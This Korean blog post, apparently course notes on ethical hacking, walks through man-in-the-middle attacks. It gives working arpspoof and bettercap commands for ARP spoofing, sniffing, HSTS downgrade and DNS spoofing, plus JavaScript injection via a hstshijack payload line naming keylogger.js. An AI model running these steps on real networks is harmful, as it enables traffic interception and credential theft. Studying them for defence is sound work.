Network / Man In The Middle attack

Alpha, Orderly·2023년 1월 17일
0

hacking

목록 보기
2/2
post-thumbnail

본 시리즈는
https://www.udemy.com/course/learn-ethical-hacking-from-scratch/
강의를 보고 작성되었습니다.

MITM


공격 대상과 연결 대상 중간에 끼어들어 감시하는것

ARP SPOOFING


ARP

ARP는 MAC 주소와 IP 주소를 서로 연관짓는데 사용됩니다.

arp -a

명령어를 통해 라우터의 게이트웨이 주소와 현재 연결 상황을 확인할수 있습니다.

ARP 스푸핑

기존에 위와 같이 연결되어 있던 것에

위와 같이 대상과 라우터의 ARP 연결 테이블을 바꿈으로

연결이 아래와 같이 성립해

해킹 대상과 인터넷이 통신하는것을 감청 할수 있게 됩니다.


arpspoof


  1. arp -a 를 통해 네트워크 게이트웨이 주소를 확인한다.

게이트웨이 IP는 보통 공유기의 주소이다.

  1. arpspoof -i eth0<연결에 사용된 방식> -t {대상 IP} {게이트웨이 아이피}

해킹 대상에게 자신이 라우터인것처럼 연결한다.

  1. arpspoof -i eth0<연결에 사용된 방식> -t {게이트웨이 IP} {대상 IP}

라우터가 내가 해킹 대상인것처럼 알게 한다.

  1. echo 1 > /proc/sys/net/ipv4/ip_forward

해킹 대상과 인터넷을 연결한다

모든 해킹대상과 인터넷 연결이 자신을 통과하게 된다.


bettercap


bettercap -iface eth0

을 터미널에 입력해 실행 가능하다. 다른 장치를 이용해 인터넷 연결시 eth0 대신 다른것을 적는다.

help

입력시 현재 상황을 알려준다.

help net.probe

특정 모듈의 사용법을 알수 있다.

net.probe on

라우터에 연결된 장치를 전부 확인 가능하다.

net.show

라우터에 연결된 장치들의 정보를 보여준다.

ARP Spoofing 하기

set arp.spoof.fullduplex true

중간자로 들어가게 양방향 공격

set arp.spoof.targets ***.***.***.***, ***.***.***.***

공격 타겟 정하기 [ 범위 지정 가능 ]

arp.spoof on

arp 공격 시작

네트워크 캡처

net.sniff on

네트워크 캡처 시작

set net.sniff.output {파일경로} 를 통해 캡쳐된 패킷을 저장 가능.

커스텀 스푸핑 코드

위 코드들을 순서대로 적고

cap 파일로 저장

쉘에서 cap 저장된 위치로 이동 한 뒤

bettercap -iface eth0 -caplet [파일명]

을 통해 불러온다.

HTTPS 우회

https란?

  • 추가 레이어를 통해 평문 http 통신을 암호화
우회 방법

https를 http로 변경

hstshijack/hstshijack

자동으로 해킹 대상이 https에 접근하려 할때 http로 접근되며 우리에게 전부 보여지게 된다.

크롬에서는 아래 주소 리스트에 주소를 포함해야 작동한다.

hsts??

브라우저가 사이트가 https로 연결되어야 한다는것을 미리 알고 있어 http로 연결되지 않는데,

이는 브라우저에 하드코딩 되어 있다.

이를 우회하기 위해 url을 변조할 필요가 있음.

hsts 우회

  1. 변조할 타겟 사이트를 정하고
  2. 어떤식으로 변조할지 적고
  3. 해킹 대상이 접근시 사이트 주소를 바꿔버린다.

크롬에서는 Secure DNS가 켜져있지 않아야 작동한다.

DNS Spoofing


DNS란?

도메인 주소와 IP를 연결해주는 서비스

이를 변조해 가짜 사이트와 연결되게 할수 있다.

DNS Spoofing 해보기

1. 웹서버 열기

service apache2 start

라우터에 접속한 다른 컴퓨터에서 ip 입력시 웹사이트가 나오는것을 확인할수 있다.

2. DNS 스푸핑 설정

set dns.spoof.all true

모든 dns request에 사용되게 함.

set dns.spoof.domains blog.alphaorderly.com

DNS를 조작할 주소를 입력, 여기선 제 블로그 도메인을 넣었습니다.

dns.spoof on

dns 스푸핑 켜기

Javascript code injection


좀 더 다양하고 복잡한 동작이 가능해 진다.

  • 링크 바꾸기

  • 이미지 바꾸기

  • html 요소 삽입

  • exploit

    예시용 js 파일 만들기

    alert('test');

    위와 같은 아주 간단한 js 파일을 만들어 접근하기 쉬운 폴더에 js 파일로 저장한다.

    /usr/local/share/bettercap/caplets/hstshijack/hstshijack.cap

    파일에 접근하면 나오는 이 부분

    set hstshijack.payloads        *:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js 

    의 뒷부분에

    자신의 js 파일을 추가하면 된다.

    set hstshijack.payloads        *:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js, *:/root/Desktop/test.js 

이후 arp 스푸핑 및

hstshijack/hstshijack 

으로 캐플릿 실행시 사이트 접속시 마다 인젝팅한 js 파일이 실행된다.

단 우회되지 않은 hsts 사이트들은 injection이 적용되지 않는다.

Bettercap web interface


bettercap을 좀 더 사용하기 쉽게 하고

더 많은 모듈이 있습니다.

bettercap -iface eth0

를 통해 실행 후

ui.update

를 실행시 웹 UI를 설치합니다.

http-ui

를 통해 웹 UI를 실행할수 있습니다.

주소는 실행과 동시에 터미널에 표시됩니다.

보통 http://127.0.0.1/ 이며, 기본 계정은 user / pass 입니다.

Wireshark


네트워크 관리자가 망 확인용으로 사용하기 위해 만들어진 프로그램

특정 인터페이스를 통과하는 패킷들을 전수 분석 가능함.

MITM 공격시 와이어샤크로 분석 가능

실행

  1. wireshark 실행

  2. 이미 캡쳐한 패킷을 열거나 네트워크 인터페이스 선택 가능

  3. arp 스푸핑에 사용된 인터페이스 사용시 패킷 감청 가능

  • 상단의 톱니바퀴 버튼을 눌러 Output 선택시 감청한 패킷을 파일에 저장할수도 있음.

왼쪽 상단 4번째 동그라미 안에 톱니바퀴

분석하기

번호시간SourceDestination프로토콜길이정보

로 이루어져 있다.

프로토콜마다 고유의 배경색과 글자 색을 가진다.

패킷 필터링하기

  • 필터에 http 치고 엔터 -> http 연결만 보여줍니다.
    • 개별 패킷을 더블클릭시 더 자세한 정보를 확인할수 있습니다.
  • ctrl + f 로 검색창을 열수 있으며, 패킷 검색이 가능합니다.
profile
만능 컴덕후 겸 번지 팬

0개의 댓글